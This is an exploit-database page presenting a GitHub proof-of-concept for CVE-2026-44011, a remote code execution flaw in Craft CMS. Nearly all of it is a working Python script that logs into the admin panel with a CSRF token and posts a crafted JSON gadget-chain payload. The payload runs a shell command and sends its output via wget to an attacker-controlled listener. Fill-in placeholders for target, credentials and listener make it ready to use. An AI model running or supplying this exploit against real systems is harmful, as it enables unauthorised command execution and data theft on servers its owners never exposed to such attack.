Exploit database

GH-d82779e9094a12e3096e59ff685b04d5

0xyngtg/craftcms-cve-2026-44011-poc-rce

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-44011

5 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
0xyngtg/craftcms-cve-2026-44011-poc-rceRevision c979bd76109a

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 4,612 bytes
import requests
import json

# MODIFY THESE VARIABLES
LISTENER: str = "IP"
LISTENER_PORT: int = 80

TARGET: str = "IP OR HOSTNAME"
TARGET_PORT: int = 80
CMD: str = "id"

USER: str = "USER"
PASSWORD: str = "PASSWORD"
###

BASE_URL: str = f"http://{TARGET}:{TARGET_PORT}"
CSRF_URL: str = f"{BASE_URL}/admin/login"
LOGIN_URL: str = f"{BASE_URL}/index.php?p=admin/actions/users/login"
EXPLOIT_URL: str = f"{BASE_URL}/admin/actions/element-search/search"

# PAYLOAD
payload: dict = {
    "elementType": "craft\\elements\\Category",
    "siteId": 1,
    "search": "",
    "condition": {
        "class": "craft\\elements\\conditions\\ElementCondition",
        "elementType": "craft\\elements\\Category",
        "fieldLayouts": [
            {
                "as rce": {
                    "__class": "yii\\behaviors\\AttributeTypecastBehavior",
                    "__construct()": [
                        {
                            "attributeTypes": {
                                "typecastBeforeSave": [
                                    "Psy\\Readline\\Hoa\\ConsoleProcessus",
                                    "execute"
                                ]
                            },
                            "typecastBeforeSave": f"/bin/bash -c \"wget http://{LISTENER}:{LISTENER_PORT}/`{CMD}`\""
                        }
                    ]
                },
                "on *": "self::beforeSave"
            }
        ]
    }
}
EXPLOIT_DATA: str = json.dumps(payload)

def getCsrfToken(url: str = CSRF_URL) -> tuple[requests.Session, str]:
    """"""
    print(f"[*] Getting CSRF token from {url}")
    client: requests.Session = requests.Session()
    csrf_token: str | None = None
    try:
        response: requests.Response = client.get(url)
        if '"csrfTokenValue"' in response.text:
            csrf_token = response.text.split('"csrfTokenValue":"')[1].split('"')[0]
            print(f"[+] CSRF token: {csrf_token}")
        else:
            print("[-] CSRF token not found in response")
    except:
        print("[-] Error getting CSRF token")
        exit(0)
    
    return client, csrf_token

def loginCms(client: requests.Session, user: str, password: str, csrf_token: str, url:str=LOGIN_URL) -> tuple[str, int]:
    """"""
    print(f"[*] Logging in as {user} with password ********")
    login_payload: dict = {
        "loginName":f"{user}",
        "password":f"{password}",
        "rememberMe":""
    }
    
    login_data: str = json.dumps(login_payload)
    
    try:
        response: requests.Response = client.post(
            url=url,
            data=login_data,
            headers={
                "Content-Type": "application/json",
                "X-CSRF-Token": csrf_token
                }
            )
        
        if '"csrfTokenValue"' in response.text:
            csrf_token = response.text.split('name="CRAFT_CSRF_TOKEN" value="')[1].split('"')[0]
            print(f"[+] New CSRF token: {csrf_token}")
        else:
            print("[-] CSRF token not found in response")
        
        # DEBUG
        #print(response.text)
    except:
        print("[-] Error logging in")
        return "", 0
    
    return csrf_token, response.status_code


def sendPayload(client: requests.Session, csrf_token: str, url:str=EXPLOIT_URL, data:str=EXPLOIT_DATA) -> None:
    """"""
    print(f"[*] Sending payload to {url}")
    try:
        response: requests.Response = client.post(
            url=url,
            data=data,
            headers={
                "Content-Type": "application/json",
                "Accept": "application/json",
                "X-CSRF-Token": csrf_token
                }
            )
        
        # DEBUG
        #print(response.text)
        
        response_dict: dict = json.loads(response.text)
        if response_dict["code"] == 0:
            print("[+] Success! Check your collaborator for the output of the command.")
    except:
        print("[-] Error sending payload")

def main() -> None:
    client, csrf_token = getCsrfToken()
    new_csrf_token, status_code = loginCms(
        client=client, 
        user=USER, 
        password=PASSWORD, 
        csrf_token=csrf_token
        )
    if status_code == 200 or status_code == 302:
        sendPayload(
            client=client, 
            csrf_token=new_csrf_token, 
            url=EXPLOIT_URL, 
            data=EXPLOIT_DATA
        )
    else:
        print(f"[-] Login failed with status code: {status_code}. You need to have valid credentials to exploit this vulnerability.")

if __name__ == "__main__":
    main()